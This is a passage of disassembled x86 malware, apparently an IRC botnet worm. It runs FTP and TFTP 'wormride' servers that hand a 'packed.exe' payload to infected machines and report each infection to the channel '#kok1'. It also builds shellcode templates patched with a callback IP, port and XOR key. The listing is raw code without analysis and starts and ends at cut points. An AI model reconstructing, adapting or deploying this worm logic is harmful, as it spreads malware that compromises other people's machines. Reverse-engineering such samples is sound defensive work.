mov [ebp-550h], eax push 0 push 0 push dword ptr [ebp-554h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-554h] call sub_416B82 ; fclose pop ecx push offset aPacked_exe ; "packed.exe" push dword ptr [ebp-550h] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-54Ch] call sub_4053BF add esp, 0Ch push dword ptr [ebp-54Ch] call sub_40538D pop ecx push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: cAddress:004116FCj mov eax, [ebp-524h] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch lea eax, [ebp-114h] push eax lea eax, [ebp-104h] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EAD8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp-558h], eax lea eax, [ebp-104h] push eax push dword ptr [ebp-558h] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset aKok1 ; "#kok1" call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: cAddress:004118DFj jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: cAddress:00411886j mov eax, [ebp-524h] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: cAddress:004111E0j ; cAddress:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push dword ptr [ebp-10Ch] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a220_0 ; "220" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset aUser1 ; "USER 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a331_0 ; "331" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset aPass1 ; "PASS 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a230_0 ; "230" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: cAddress:00411D5Fp var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset loc_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; --------------------------------------------------------------------------- loc_411D59: ; DATA XREF: sub_411D68+4Eo push ebp mov ebp, esp push dword ptr [ebp+8] call sub_411BBC pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; --------------------------------------------------------------------------- loc_411DC5: ; DATA XREF: sub_4123F6+43o push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-358h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp-108h], eax cmp dword ptr [ebp-108h], 0FFFFFFFFh jnz short loc_411E1D push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: cAddress:00411E08j lea eax, [ebp-104h] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp-1B0h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-1B0h], 2 push 45h call dword_417238 ; htons mov [ebp-1AEh], ax lea eax, [ebp-104h] push eax call dword_417244 ; inet_addr mov [ebp-1ACh], eax mov dword ptr [ebp-1A0h], 1 push 4 lea eax, [ebp-1A0h] push eax push 4 push 0FFFFh push dword ptr [ebp-108h] call dword_417204 ; setsockopt push 10h lea eax, [ebp-1B0h] push eax push dword ptr [ebp-108h] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: cAddress:00411EADj push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-10Ch], eax cmp dword ptr [ebp-10Ch], 0 jnz short loc_411F01 push dword ptr [ebp-108h] call dword_417230 ; closesocket push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: cAddress:00411EE0j mov eax, [ebp-358h] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp-354h] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-10Ch] call sub_416B76 ; ftell pop ecx mov [ebp-4], eax push 0 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp-19Ch] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: cAddress:loc_412084j ; cAddress:loc_4123C6j mov dword ptr [ebp-0B64h], 1 and dword ptr [ebp-0B60h], 0 and dword ptr [ebp-0B5Ch], 0 loc_411F7E: ; CODE XREF: cAddress:00411FF9j and dword ptr [ebp-0B68h], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: cAddress:loc_411FB9j mov eax, [ebp-0B68h] inc eax mov [ebp-0B68h], eax loc_411F94: ; CODE XREF: cAddress:00411F85j mov eax, [ebp-0B68h] cmp eax, [ebp-0B5Ch] jnb short loc_411FBB mov eax, [ebp-0B68h] mov eax, [ebp+eax*4-0B58h] cmp eax, [ebp-108h] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: cAddress:00411FB5j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: cAddress:00411FA0j ; cAddress:00411FB7j mov eax, [ebp-0B68h] cmp eax, [ebp-0B5Ch] jnz short loc_411FF5 cmp dword ptr [ebp-0B5Ch], 200h jnb short loc_411FF5 mov eax, [ebp-0B68h] mov ecx, [ebp-108h] mov [ebp+eax*4-0B58h], ecx mov eax, [ebp-0B5Ch] inc eax mov [ebp-0B5Ch], eax loc_411FF5: ; CODE XREF: cAddress:00411FC7j ; cAddress:00411FD3j xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp-0B64h] push eax push 0 push 0 lea eax, [ebp-0B5Ch] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov dword ptr [ebp-0D84h], 10h mov al, byte_41DE00 mov [ebp-0D70h], al mov ecx, 80h xor eax, eax lea edi, [ebp-0D6Fh] rep stosd stosw stosb lea eax, [ebp-0D84h] push eax lea eax, [ebp-0D80h] push eax push 0 push 80h lea eax, [ebp-19Ch] push eax push dword ptr [ebp-108h] call dword_417258 ; recvfrom mov [ebp-0B6Ch], eax cmp dword ptr [ebp-0B6Ch], 0 jz short loc_412084 cmp dword ptr [ebp-0B6Ch], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: cAddress:00412079j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: cAddress:00412082j movsx eax, byte ptr [ebp-19Ch] test eax, eax jnz loc_4121C0 movsx eax, byte ptr [ebp-19Bh] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp-19Ch] mov [ebp-0D88h], eax lea eax, [ebp-19Ch] mov [ebp-0D8Ch], eax mov eax, [ebp-0D88h] inc eax inc eax mov [ebp-0D88h], eax mov eax, [ebp-0D8Ch] inc eax inc eax mov [ebp-0D8Ch], eax push dword ptr [ebp-0D8Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0D8Ch] lea eax, [ecx+eax+1] mov [ebp-0D8Ch], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push dword ptr [ebp-0D8Ch] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 push 13h push offset dword_41C76C push dword ptr [ebp-108h] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: cAddress:00412119j push 0 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch and byte ptr [ebp-0D70h], 0 mov byte ptr [ebp-0D6Fh], 3 and byte ptr [ebp-0D6Eh], 0 mov byte ptr [ebp-0D6Dh], 1 push dword ptr [ebp-10Ch] push 200h push 1 lea eax, [ebp-0D6Ch] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0D90h], eax push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 mov eax, [ebp-0D90h] add eax, 4 push eax lea eax, [ebp-0D70h] push eax push dword ptr [ebp-108h] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: cAddress:0041213Dj jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: cAddress:00412092j ; cAddress:004120A2j movsx eax, byte ptr [ebp-19Ch] test eax, eax jnz loc_412396 movsx eax, byte ptr [ebp-19Bh] cmp eax, 4 jnz loc_412396 mov al, [ebp-19Ah] mov [ebp-0DA0h], al mov al, [ebp-199h] mov [ebp-0D98h], al and byte ptr [ebp-0D70h], 0 mov byte ptr [ebp-0D6Fh], 3 movzx eax, byte ptr [ebp-0D98h] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp-0DA0h] add al, 1 mov [ebp-0DA0h], al mov al, [ebp-0DA0h] mov [ebp-0D6Eh], al and byte ptr [ebp-0D98h], 0 mov al, [ebp-0D98h] mov [ebp-0D6Dh], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: cAddress:00412211j mov al, [ebp-0DA0h] mov [ebp-0D6Eh], al mov al, [ebp-0D98h] add al, 1 mov [ebp-0D98h], al mov al, [ebp-0D98h] mov [ebp-0D6Dh], al loc_412268: ; CODE XREF: cAddress:00412240j movzx eax, byte ptr [ebp-0DA0h] shl eax, 8 movzx ecx, byte ptr [ebp-0D98h] lea eax, [eax+ecx-1] mov [ebp-0D9Ch], eax push 0 mov eax, [ebp-0D9Ch] shl eax, 9 push eax push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-10Ch] push 200h push 1 lea eax, [ebp-0D6Ch] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0D94h], eax push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 mov eax, [ebp-0D94h] add eax, 4 push eax lea eax, [ebp-0D70h] push eax push dword ptr [ebp-108h] call dword_417250 ; sendto cmp dword ptr [ebp-0D94h], 0 jnz loc_412394 mov eax, [ebp-0D9Ch] shl eax, 9 cmp eax, [ebp-4] jb loc_412394 mov eax, [ebp-0D7Ch] mov [ebp-0DA8h], eax push dword ptr [ebp-0DA8h] push offset dword_41EAE0 call sub_409C9D pop ecx pop ecx mov [ebp-0DA4h], eax mov eax, [ebp-0DA4h] cmp eax, [ebp-0DA8h] jz short loc_412394 push 1 push offset dword_41EAE4 call sub_409C88 pop ecx pop ecx mov [ebp-0DACh], eax push 10h push dword ptr [ebp-0D7Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp-11Ch] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-11Ch] push eax mov eax, [ebp-0DACh] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset aKok1 ; "#kok1" call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: cAddress:004122F2j ; cAddress:00412304j ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: cAddress:004121C9j ; cAddress:004121D9j push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 push 9 push offset dword_41C724 push dword ptr [ebp-108h] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: cAddress:00412017j ; cAddress:loc_4121BBj ... mov eax, [ebp-358h] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: cAddress:004123C2j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: cAddress:004123C4j push dword ptr [ebp-10Ch] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-108h] call dword_417230 ; closesocket push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: cAddress:00411E18j ; cAddress:00411EBDj ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: cAddress:004106D4p ; cAddress:00410B93p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset dword_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short 